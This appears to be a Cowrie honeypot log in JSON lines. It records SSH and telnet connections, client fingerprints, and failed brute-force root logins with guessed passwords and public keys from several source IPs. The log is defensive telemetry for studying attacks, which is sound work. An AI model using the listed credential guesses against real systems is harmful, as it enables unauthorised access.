{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:55:22.898132Z","src_ip":"40.83.182.122","session":"ad6fbd69211a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49396,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb007d3519f9","protocol":"telnet","message":"New connection: 192.119.13.58:49396 (10.17.0.5:23) [session: bb007d3519f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:55:25.112845Z"}
{"eventid":"cowrie.session.closed","duration":44.332343339920044,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:55:27.349885Z","src_ip":"192.119.13.58","session":"a93acadd66cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"115.68.226.124","src_port":62468,"dst_ip":"10.17.0.5","dst_port":22,"session":"9e0bbd44b880","protocol":"ssh","message":"New connection: 115.68.226.124:62468 (10.17.0.5:22) [session: 9e0bbd44b880]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:55:29.393259Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:55:29.409775Z","src_ip":"115.68.226.124","session":"9e0bbd44b880","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:55:29.625979Z","src_ip":"115.68.226.124","session":"9e0bbd44b880","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42056,"dst_ip":"10.17.0.5","dst_port":23,"session":"44fdb81b159f","protocol":"telnet","message":"New connection: 192.119.13.58:42056 (10.17.0.5:23) [session: 44fdb81b159f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:55:29.861624Z"}
{"eventid":"cowrie.session.closed","duration":43.237956523895264,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:55:30.315313Z","src_ip":"192.119.13.58","session":"27d8890fbcc3","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"sascha","message":"login attempt [root/sascha] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:55:30.514291Z","src_ip":"115.68.226.124","session":"9e0bbd44b880","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:55:31.726418Z","src_ip":"115.68.226.124","session":"9e0bbd44b880","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.250508308410645,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:55:31.868559Z","src_ip":"192.119.13.58","session":"47de8d891ac7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33372,"dst_ip":"10.17.0.5","dst_port":23,"session":"96d3df3d5088","protocol":"telnet","message":"New connection: 192.119.13.58:33372 (10.17.0.5:23) [session: 96d3df3d5088]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:55:34.551039Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33782,"dst_ip":"10.17.0.5","dst_port":23,"session":"ccdb6ef8d923","protocol":"telnet","message":"New connection: 192.119.13.58:33782 (10.17.0.5:23) [session: ccdb6ef8d923]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:55:34.622572Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":49226,"dst_ip":"159.203.135.109","dst_port":22,"session":"743dd16baf22","protocol":"ssh","message":"New connection: 109.237.96.109:49226 (159.203.135.109:22) [session: 743dd16baf22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:55:37.131034Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:55:37.136248Z","src_ip":"109.237.96.109","session":"743dd16baf22","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:55:37.230025Z","src_ip":"109.237.96.109","session":"743dd16baf22","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kakashka","message":"login attempt [root/kakashka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:55:37.520333Z","src_ip":"109.237.96.109","session":"743dd16baf22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.164.9.74","src_port":44308,"dst_ip":"10.17.0.5","dst_port":22,"session":"eb08bfc737c9","protocol":"ssh","message":"New connection: 103.164.9.74:44308 (10.17.0.5:22) [session: eb08bfc737c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:55:38.587770Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:55:38.592560Z","src_ip":"103.164.9.74","session":"eb08bfc737c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:55:38.614376Z","src_ip":"109.237.96.109","session":"743dd16baf22","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:55:38.792956Z","src_ip":"103.164.9.74","session":"eb08bfc737c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54918,"dst_ip":"10.17.0.5","dst_port":23,"session":"d8d72a9eaf7e","protocol":"telnet","message":"New connection: 192.119.13.58:54918 (10.17.0.5:23) [session: d8d72a9eaf7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:55:39.505112Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd5678","message":"login attempt [root/abcd5678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:55:39.624838Z","src_ip":"103.164.9.74","session":"eb08bfc737c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55748,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3b98c4b3644","protocol":"telnet","message":"New connection: 192.119.13.58:55748 (10.17.0.5:23) [session: a3b98c4b3644]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:55:39.698052Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:55:40.829733Z","src_ip":"103.164.9.74","session":"eb08bfc737c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33164,"dst_ip":"10.17.0.5","dst_port":23,"session":"d98dc8ba171c","protocol":"telnet","message":"New connection: 192.119.13.58:33164 (10.17.0.5:23) [session: d98dc8ba171c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:55:41.045893Z"}
{"eventid":"cowrie.session.closed","duration":46.43589973449707,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:55:42.948365Z","src_ip":"192.119.13.58","session":"7d1e9ab8b115","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":25294,"dst_ip":"159.203.135.109","dst_port":22,"session":"0745bccb5d25","protocol":"ssh","message":"New connection: 38.93.206.2:25294 (159.203.135.109:22) [session: 0745bccb5d25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:55:43.351554Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:55:43.355897Z","src_ip":"38.93.206.2","session":"0745bccb5d25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:55:43.406711Z","src_ip":"38.93.206.2","session":"0745bccb5d25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123qweqwe","message":"login attempt [root/123123qweqwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:55:43.565385Z","src_ip":"38.93.206.2","session":"0745bccb5d25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:55:44.620103Z","src_ip":"38.93.206.2","session":"0745bccb5d25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.53013062477112,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:55:44.861763Z","src_ip":"192.119.13.58","session":"4bb28f13d8ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54528,"dst_ip":"10.17.0.5","dst_port":23,"session":"56376cfeaac6","protocol":"telnet","message":"New connection: 192.119.13.58:54528 (10.17.0.5:23) [session: 56376cfeaac6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:55:45.977748Z"}
{"eventid":"cowrie.session.closed","duration":45.61439657211304,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:55:46.276438Z","src_ip":"192.119.13.58","session":"c41e51572024","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34654,"dst_ip":"10.17.0.5","dst_port":23,"session":"7fbb1cf331dd","protocol":"telnet","message":"New connection: 192.119.13.58:34654 (10.17.0.5:23) [session: 7fbb1cf331dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:55:47.991772Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39616,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d9da06dd70a","protocol":"telnet","message":"New connection: 192.119.13.58:39616 (10.17.0.5:23) [session: 9d9da06dd70a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:55:49.298662Z"}
{"eventid":"cowrie.session.closed","duration":41.336233139038086,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:55:50.843986Z","src_ip":"192.119.13.58","session":"ded2af2860e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"116.110.11.66","src_port":47402,"dst_ip":"159.203.135.109","dst_port":22,"session":"133fa95181ee","protocol":"ssh","message":"New connection: 116.110.11.66:47402 (159.203.135.109:22) [session: 133fa95181ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:55:51.166645Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:55:51.171186Z","src_ip":"116.110.11.66","session":"133fa95181ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47068,"dst_ip":"10.17.0.5","dst_port":23,"session":"1bee52fe6292","protocol":"telnet","message":"New connection: 192.119.13.58:47068 (10.17.0.5:23) [session: 1bee52fe6292]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:55:51.251367Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33724,"dst_ip":"10.17.0.5","dst_port":23,"session":"94fc2da068ee","protocol":"telnet","message":"New connection: 192.119.13.58:33724 (10.17.0.5:23) [session: 94fc2da068ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:55:54.869568Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34118,"dst_ip":"10.17.0.5","dst_port":23,"session":"03c26aca2662","protocol":"telnet","message":"New connection: 192.119.13.58:34118 (10.17.0.5:23) [session: 03c26aca2662]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:55:54.958127Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.37.117.16","src_port":51450,"dst_ip":"10.17.0.5","dst_port":22,"session":"176a5d75a28b","protocol":"ssh","message":"New connection: 89.37.117.16:51450 (10.17.0.5:22) [session: 176a5d75a28b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:55:55.181797Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:55:55.186999Z","src_ip":"89.37.117.16","session":"176a5d75a28b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:55:55.319102Z","src_ip":"89.37.117.16","session":"176a5d75a28b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1e:d9:5a:9a:d9:a5:6f:64:3a:83:99:0d:30:3b:b0:1a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDl6G3zjck/jA46uPC9uiANkN2kQJw0RXAH3aruYXNoXzL3uoUwAOYrZ4ukG1MJztrQeAbxNE5twQM2w/GPOOvzyEBhOJpPLs/4eN8/KRu8hLfWptiKoDC4lIDlViS2sRT3fQKb6UPGo1jo2NiNxx0MAiLX8LS3kxOByyxBQwkKAJXMcuFcOBALJTeFT7Q0f1a0v2VAxvKP2hnRIpRupQfkvc9jlOMbxn9b4tAoXxj3tpBahlyGUQ+wjAAz69LxZzWChQ8NZDjszFn21RnkhoOPINdBqOmDiV8zvx2XOgQjtn1ep4gASuPInjy7cWlpTZt6B7TkNzWgl1sYQx9NyOij","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1e:d9:5a:9a:d9:a5:6f:64:3a:83:99:0d:30:3b:b0:1a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:55:55.926435Z","src_ip":"89.37.117.16","session":"176a5d75a28b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1e:d9:5a:9a:d9:a5:6f:64:3a:83:99:0d:30:3b:b0:1a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDl6G3zjck/jA46uPC9uiANkN2kQJw0RXAH3aruYXNoXzL3uoUwAOYrZ4ukG1MJztrQeAbxNE5twQM2w/GPOOvzyEBhOJpPLs/4eN8/KRu8hLfWptiKoDC4lIDlViS2sRT3fQKb6UPGo1jo2NiNxx0MAiLX8LS3kxOByyxBQwkKAJXMcuFcOBALJTeFT7Q0f1a0v2VAxvKP2hnRIpRupQfkvc9jlOMbxn9b4tAoXxj3tpBahlyGUQ+wjAAz69LxZzWChQ8NZDjszFn21RnkhoOPINdBqOmDiV8zvx2XOgQjtn1ep4gASuPInjy7cWlpTZt6B7TkNzWgl1sYQx9NyOij","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:55:55.930444Z","src_ip":"89.37.117.16","session":"176a5d75a28b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"67:35:b3:b8:9d:6d:0b:2b:10:97:43:da:2a:ec:21:38","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC02mGRU3AtH2vdOMwZjpSB0bf4tAvQpGNS0lOPhBdGZTXM9D+L7owJ4dOs4yw9SYhTIAqVgkjBk3zB8v8uXc1hXh8VO7Pi/1TWxqbBM/6OCFBXltcvr2F+K34VscK2CxT1LAmlUbQtBA3W+cAzjGW3nYWGFq4bBccHaLRUVrYjGTfsh16ZG3ORIej1AxeGtQhWrheW7ZGYyvgWYwzMpk344LS9xdTIXedkILOS00BDCdORHBrHdZpf6VBZYXUv8g7VHI0sp3zuL0jgwNOs+3bZB/oYKzlqY3dVbecqQ3hfRqi3bzEdORFUOqFLepav5O0dZWJtrv17L6Xeq8s7nja3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 67:35:b3:b8:9d:6d:0b:2b:10:97:43:da:2a:ec:21:38","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:55:56.058443Z","src_ip":"89.37.117.16","session":"176a5d75a28b","protocol":"ssh"}
